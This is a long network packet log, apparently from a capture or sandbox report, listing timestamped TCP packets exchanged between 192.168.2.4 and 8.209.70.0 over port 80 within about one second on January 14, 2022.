Jan 14, 2022 12:30:11.929874897 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.929908991 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.929935932 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.929969072 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.930061102 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.930094004 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.930105925 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.930129051 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.930139065 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.930170059 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.930222034 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.930258036 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.930263996 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.930291891 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.930298090 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.930324078 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.930336952 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.930361032 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.930376053 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.930396080 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.930408955 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.930438995 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.930454969 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.930494070 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.930521011 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.930533886 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.930557966 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.930582047 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.930589914 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.930644989 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.930645943 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.930680037 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.930690050 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.930712938 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.930722952 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.930746078 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.930799961 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.930804968 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.930824041 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.930855989 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.930866957 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.930891037 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.930906057 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.930926085 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.930946112 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.930958033 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.930969000 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.931015015 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.931031942 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.931077957 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.931087971 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.931122065 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.931133986 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.931154966 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.931165934 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.931188107 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.931200027 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.931231022 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.931242943 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.931284904 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.931298971 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.931341887 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.931371927 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.931405067 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.931413889 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.931442976 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.931498051 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.931530952 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.931544065 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.931566000 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.931572914 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.931600094 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.931611061 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.931632042 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.931648970 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.931679964 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.931687117 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.931731939 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.931742907 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.931777000 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.931787968 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.931813955 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.931818962 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.931854963 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.946111917 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.946150064 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.946182966 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.946185112 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.946216106 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.946249962 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.946269989 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.946297884 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.946331024 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.946346998 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.946372032 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.946376085 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.946465969 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.946499109 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.946512938 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.946531057 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.946566105 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.946577072 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.946599007 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.946635962 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.946649075 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.946690083 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.946692944 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.946722031 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.946727991 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.946768045 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.946775913 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.946808100 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.946845055 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.946851969 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.946883917 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.946923018 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.946934938 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.946964025 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.947005033 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.947010040 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.947041988 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.947082043 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.947086096 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.947120905 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.947158098 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.947171926 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.947197914 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.947237968 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.947243929 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.947277069 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.947315931 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.947321892 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.947352886 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.947391987 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.947402954 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.947429895 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.947467089 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.947478056 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.947506905 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.947546959 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.947555065 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.947588921 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.947629929 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.947642088 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.947669029 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.947710991 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.947721958 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.947751045 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.947791100 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.947798014 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.947832108 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.947885036 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.949120998 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.949296951 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.949374914 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.950983047 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.951025963 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.951066971 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.951103926 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.951111078 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.951144934 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.951154947 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.951219082 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.951292992 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.951297045 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.951337099 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.951376915 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.951380968 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.951414108 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.951453924 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.951457024 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.951491117 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.951528072 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.951538086 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.951565981 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.951605082 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.951607943 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.951642990 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.951683998 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.951685905 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.951721907 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.951761007 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.951771975 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.951800108 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.951837063 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.951848030 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.951875925 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.951914072 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.951917887 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.951951981 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.951992035 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.951997995 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.952028036 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.952069044 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.952104092 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.952142954 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.952183008 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.952183008 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.952219963 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.952260971 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.952261925 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.952299118 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.952337027 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.952342033 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.952377081 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.952414989 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.952419043 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.952455044 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.952493906 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.952498913 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.952532053 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.952569962 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.952575922 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.952609062 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.952646971 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.952649117 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.966440916 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.966490030 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.966528893 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.966537952 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.966568947 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.966572046 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.966610909 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.966649055 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.966661930 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.966686964 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.966726065 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.966734886 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.966763973 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.966803074 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.966809034 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.966841936 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.966887951 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.966892958 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.966938972 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.966975927 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.966989040 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.967015982 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.967053890 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.967061996 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.967092037 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.967133045 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.967140913 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.967170954 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.967210054 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.967216969 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.967252016 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.967288971 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.967302084 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.967328072 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.967370987 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.967372894 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.967415094 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.967456102 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.967462063 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.967494011 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.967534065 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.967572927 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.967573881 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.967611074 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.967617989 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.967650890 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.967694044 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.967696905 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.967740059 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.967781067 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.967786074 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.967818975 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.967858076 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.967861891 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.967896938 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.967935085 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.967947960 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.967982054 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.968022108 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.968034029 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.968066931 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.968106985 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.968110085 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.968146086 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.968184948 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.968189001 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.971435070 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.971477032 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.971514940 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.971530914 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.971554041 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.971571922 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.971594095 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.971632004 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.971636057 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.971671104 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.971709967 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.971715927 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.971745968 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.971785069 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.971791983 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.971824884 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.971864939 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.971873045 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.971904993 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.971941948 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.971956968 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.971981049 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.972018957 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.972027063 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.972057104 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.972095966 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.972100973 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.972134113 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.972172976 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.972177029 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.972213030 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.972261906 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.972270966 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.972323895 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.972367048 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.972379923 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.972419024 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.972455978 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.972459078 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.972495079 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.972532988 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.972536087 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.972572088 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.972611904 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.972618103 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.972676039 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.972718954 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.972733974 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.972793102 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.972831964 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.972835064 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.972872019 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.972910881 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.972912073 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.972949982 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.972990036 CET	80	49896	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:11.972994089 CET	49896	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:11.973061085 CET	80	49896	8.209.70.0	192.168.2.4
